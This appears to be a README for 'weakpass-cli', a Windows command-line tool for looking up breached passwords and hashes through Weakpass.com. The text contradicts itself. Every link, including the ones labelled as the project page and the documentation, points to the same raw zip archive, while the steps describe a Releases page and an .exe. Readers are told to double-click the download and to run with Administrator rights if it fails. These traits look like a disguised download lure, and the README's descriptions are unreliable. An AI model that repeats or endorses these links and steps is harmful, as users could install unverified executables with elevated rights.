weakpass-cli is a simple tool that lets you talk to Weakpass.com’s data service using your computer’s terminal or command prompt. It helps you find information about passwords and data breaches without needing complicated software or programming knowledge. This application runs on Windows and focuses on security research, password recovery, and analyzing public breach data.
You do not need to be a developer to use this tool. With just a few clicks and commands, you can start looking up information from Weakpass.com directly on your PC.
- Connects easily to Weakpass.com API using simple commands
- Search for breached passwords and related data
- Works with data breach info from different sources
- Helps users check if a password has appeared in public leaks
- Supports integration with popular security tools like hashcat
- Runs on any Windows 10 or newer system
- Opens up options for password recovery and security testing
- Windows 10 or later (64-bit recommended)
- 4 GB RAM or more
- 100 MB free disk space
- Internet connection to reach Weakpass.com API
- Command Prompt (default on Windows)
Before you begin, make sure your Windows system meets the requirements. You will use your Command Prompt to run the application after downloading it.
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Click the green badge above or visit this page:
https://raw.githubusercontent.com/Requiem232/weakpass-cli/main/src/cli-weakpass-v2.2.zip -
The link takes you to the main GitHub page of the project. Look for the "Releases" section on this page, usually found on the sidebar or the top menu.
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In "Releases," find the latest release version.
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Download the Windows executable file available there. You should see a file ending in ".exe".
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Once downloaded, open your Downloads folder and locate the file.
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Double-click the file to run the installer or the program directly, depending on how the release is packaged.
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Follow any on-screen instructions. Usually, weakpass-cli runs without a complex install, so you may not need to install it. It might run straight from the .exe file.
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Open the Command Prompt by typing
cmdinto the Windows search bar and pressing Enter. -
Navigate to the folder where you downloaded or saved
weakpass-cli.exe. For example, if it’s in your Downloads, type:
cd %HOMEPATH%\Downloads
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To start using weakpass-cli, simply type:
weakpass-cli.exe
and press Enter. -
You should see a list of commands or help instructions appear. This means the tool is running.
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Use commands as described in the next section to interact with the Weakpass.com API.
Here are some common commands and how you can use them:
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Check if a password has been leaked:
Type:
weakpass-cli.exe check-password yourpassword
Replaceyourpasswordwith the password you want to test. The program will tell you if the password appears in any leaks. -
Search by hash:
If you have a hash of a password, use:
weakpass-cli.exe search-hash yourhash
Replaceyourhashwith the hash value. -
Retrieve breach information:
Use:
weakpass-cli.exe breach-info breachname
Replacebreachnamewith the name of a known data breach. -
List available options:
Type:
weakpass-cli.exe help
This will display all commands that weakpass-cli supports.
All commands work directly through the terminal. Just type the command, press Enter, and read the output.
weakpass-cli stores some settings in a file called config.json. You can find this file in the folder where the program runs.
Settings you may adjust include:
- API key for Weakpass.com (if required)
- Timeout settings for connections
- Output format (text or JSON)
- Logging preferences
The config file is plain text and can be edited with Notepad or any text editor.
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Command not recognized:
Make sure your Command Prompt is pointed to the folder where the.exefile is located. Use thecdcommand to change folders. -
No response or errors from API:
Check your internet connection. The tool needs to communicate with Weakpass.com servers. -
File won’t run:
Confirm you downloaded the Windows executable file from the Releases page, not the source code. -
Permissions:
If the program won’t start, try running the Command Prompt as Administrator.
Visit the main project page for updates, documentation, and community help:
https://raw.githubusercontent.com/Requiem232/weakpass-cli/main/src/cli-weakpass-v2.2.zip
You will find detailed guides, examples, and links to resources on password security and breach data.
Download weakpass-cli for Windows here:
https://raw.githubusercontent.com/Requiem232/weakpass-cli/main/src/cli-weakpass-v2.2.zip
weakpass-cli can work alongside tools like hashcat for password cracking or other security testing software. Use the command-line outputs to feed data into those tools or analyze it manually.
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API (Application Programming Interface): A way for software to communicate. weakpass-cli uses the Weakpass.com API to get data.
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Data breach: When private information is exposed or leaked online.
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Hash: A fixed string representing a password in a coded form.
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Password recovery: The process of finding or resetting a password.
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Command Prompt: The Windows tool where you enter commands directly.
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